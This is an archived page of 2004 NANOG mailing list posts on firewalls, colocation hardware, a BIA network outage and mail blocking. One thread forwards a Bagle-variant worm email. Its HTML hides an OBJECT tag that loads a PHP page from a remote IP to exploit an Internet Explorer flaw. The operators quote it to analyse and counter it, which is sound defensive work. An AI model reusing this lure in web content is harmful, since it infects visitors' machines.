- Test - lists.nanog.org

Forum notify
by milton＠isomedia.com 19 Mar '04

19 Mar '04

1 0

Incoming message
by gherbert＠crl.com 19 Mar '04

19 Mar '04

1 0

Re: Firewall opinions wanted please
by Gregory Taylor 19 Mar '04

19 Mar '04

PIX firewalls are great if you configure them correctly for the application. 40 or less servers may not require something as complex, however if the data you are protecting is super-critical, I think a PIX might be your best solution. Proxy firewalls (i.e. Linux, BSD or variant gateways) are good if you're into doing a internal IP network with a NAT access point. But remember dealing with proxies, there is no such thing as a 'TRUE' transparent proxy, and having to go through all of the complexities of port forwarding, packet mangling, etc. might be too much if you are simply trying to firewall your web servers and whatnot. As discussed in a previous thread, I spoke about transparent bridging used for packet filtering and mangling. On a small application, that might be a good idea, because you get all of the true internet access (i.e. legit IPs, no proxying etc.) with the same ability to filter TCP, ICMP, UDP, IGMP etc. traffic. Disadvantages to dealing with transparent bridging is that you run into the whole MAC address collision and excess over-head announcements being made from the bridge itself every time it sends a packet through. The best option I guess is to figure out how important it is for you to have a firewall, what is the reason you need one and how important the data is on your servers. That will help you decide the best choice for a firewall or proxy application. Greg ---------- Original Message ---------------------------------- From: Nicole <nmh(a)daemontech.com> Date: Tue, 16 Mar 2004 14:27:16 -0800 (PST) > > > > Hi > I am looking for a good but reasonably priced firewall for a 40 or so server > site. Some people swear by Pix, others swear at it a lot. Also I have heard >good things about Netscreen. Or any others you would recommend for protecting >servers on a busy network. Don't really need anything with VPN just the >standard http, ftp, ssh, https, type traffic up to 100mb throughput. > From what I have heard a proxy firewall would be best? > > > > Thanks in advance!! > > > Nicole > > > > > >-- > |\ __ /| (`\ > | o_o |__ ) ) > // \\ > - nmh(a)daemontech.com - Powered by FreeBSD - >------------------------------------------------------ > " Daemons" will now be known as "spiritual guides" > -Politically Correct UNIX Page > > >

12 24

RE: Personal Co-location Registry
by Brian (nanog-list) 19 Mar '04

19 Mar '04

Kelly Stezer wrote: | Personally, I recently priced intel server systems from a | variety of major | vendors including Dell, Compaq/HP, IBM, and Sun (intel-based). | All of them offered (proprietary?) ethernet-based remote management. | None offered serial management. Dell poweredge servers have had console redirection to serial port for a while. I can't recall how far back, and I haven't personally used them, but they're definitely there. http://docs.us.dell.com/docs/systems/pe650/en/ug/n1515ab0.htm "Console redirection allows you to manage a host (local) system from a client (remote) system by redirecting keyboard input and text output through a serial port. You cannot redirect graphic output. You can use console redirection for tasks such as configuring BIOS or RAID settings." That comes from the documentation for a current dell poweredge 650 1U When purchasing the 1U's, another thing that must be figured into the final cost are the rack rails and mounting hardware. Not all servers play well with different vendor's racks, not all rails work with all rack types. You may not always get the rails with an ebay purchase, and a rack full of 1u's without rails is a management nightmare. That brings up a whole other issue, cable management. If you've ever worked with a bunch of 1Us, keeping the cabling from pinching other cabling is really tough (1u doesn't give you much room). I can imagine what a rack full of 1U's from varying vendors with different cable management systems would be like. Pull one server out for maintenance, yank the cables of the machine below it. Big fat KVM cables wouldn't be needed so that would limit it to ethernet, console, and power cable(s), so it might not be too bad. And then again, this isn't mission critical stuff, and the charter was for a "publicly usable personal 1u" aimed at the lowest price....

1 0

RE: Hi (fwd)
by Thor Larholm 18 Mar '04

18 Mar '04

> From: Matthew Sullivan [mailto:matthew@sorbs.net] > It's another varient of Bagle... > > My analysis of it is at: http://www.au.sorbs.net/virus.explain.txt > - since then Symantec has release it's more detailed explaination > under the headings for Bagle.r and Bagle.s This variant tries to exploit the object data vulnerability in IE that has long since been patched. You can also protect against this vulnerability, and any possible future variants, by locking down the My Computer zone. I detailed this in http://www.securityfocus.com/archive/1/346174/2003-11-30/2003-12-06/2 Those steps are also implemented as one of many fixes in Qwik-Fix ( www.qwik-fix.net ). The worm is dead now but managed to spread quite a bit before AV vendors had updated signatures. We have to start migrating away from reactive security and focus more on proactive security solutions. The Bizex worm was a good example of this, infecting 50.000 machines in 3 hours and disabling itself before any AV vendors had signatures for it. Regards Thor Larholm Senior Security Researcher PivX Solutions 24 Corporate Plaza #180 Newport Beach, CA 92660 http://www.pivx.com thor(a)pivx.com Phone: +1 (949) 231-8496 PGP: 0x5A276569 6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569 PivX defines "Proactive Threat Mitigation". Get a FREE Beta Version of Qwik-Fix <http://www.qwik-fix.net>

1 0

Re: Hi (fwd)
by william(at)elan.net 18 Mar '04

18 Mar '04

Me thinks somebody has found a trapdoor in nanog mailsetup and is in general out to get us ... This one supposedely came from 203.18.63.43 (australia powerhous museum - phm.gov.au) and advertises page on ip 165.134.187.102 (saint louis univerisity - slu.edu) "Connection refused" when I tried to see what's there. ---------- Forwarded message ---------- Return-Path: <owner-nanog(a)merit.edu> Received: from trapdoor.merit.edu (trapdoor.merit.edu [198.108.1.26]) ... Received: by segue.merit.edu (Postfix) id 3B2ED5DE4F; Wed, 17 Mar 2004 23:04:48 -0500 (EST) Delivered-To: nanog(a)merit.edu Received: from PH02887.net (unknown [203.18.63.43]) by segue.merit.edu (Postfix) with SMTP id 0AE2E5DE32 for <nanog(a)merit.edu>; Wed, 17 Mar 2004 23:04:46 -0500 (EST) Date: Thu, 18 Mar 2004 15:04:22 +1000 To: nanog(a)merit.edu Subject: Re: Hi From: srh(a)merit.edu Message-ID: <nxkitnadhcvpztronff(a)merit.edu> ... <html><body> <font face="System"> <OBJECT STYLE="display:none" DATA="http://165.134.187.102:81/132847.php"> </OBJECT></body></html>

6 6

Re: Personal Co-location Registry
by Paul Vixie 18 Mar '04

18 Mar '04

> People seem to be forgetting the obvious. > Buy a 1U SPARC box. That'll do full console as you're talking about. > They're simple to connect up to your Cisco console too. Ebay for > 'netra'. 1U Alphas (DS10L) are also quite nice.

1 0

Looking for glue (BIA network partition work-around for schools)
by Eric Brunner-Williams in Portland Maine 18 Mar '04

18 Mar '04

Howdy folks, One of the hats I wear is owner of the triballaw mailing list, and with that comes other things. The BIA's network got shut down again for profoundly bad operational practice, which of course can't be fixed by the application of clue, as that would imply wrongdoing, lack of clue, etc. The underlying issue is the Trust Fund, which should be fixed about the same date as end-of-Epoch. I got mail from a parent of a child enrolled in a school that was provisioned by the BIA, and now has no data service. The school is located in Cherokee, North Carolina (which means that I'm related to these people). There are other BIA schools or schools that may be provisioned by the BIA, and are now really digitally divieded. Any help in finding solutions would be greatly appreciated. This is one of those "White Knights" kind of things, with tee-shirts for those who ride to the resucue. Eric

1 1

Re: Personal Co-location Registry
by Paul Vixie 18 Mar '04

18 Mar '04

> Realweasel is a great idea if you can afford it -- but the PCI version > lists for $350, which is as expensive as some used 1U servers on EBay. my bet is that if you refer to nanog and www.vix.com/personalcolo when you contact them, they'll cut you a deal. (note: i have no affiliation w/ them.)

2 1

RE: Personal Co-location Registry
by Matt Bazan 18 Mar '04

18 Mar '04

sorry for off-topic post, but.. hey paul, why are you blocking mail from 12.129.199.61 and 65.160.228.34? The following recipient(s) could not be reached: paul(a)vix.com on 3/18/2004 10:45 AM < mail39-haw-R.bigfish.com #5.0.0 X-Postfix; host sa.vix.com[204.152.187.1] said: 553 Service unavailable; Client host [12.129.199.61] blocked using reject-mail.vix.com (in reply to RCPT TO command)> and... 553 Service unavailable; Client host [65.160.228.34] blocked using reject-mail.vix.com

2 1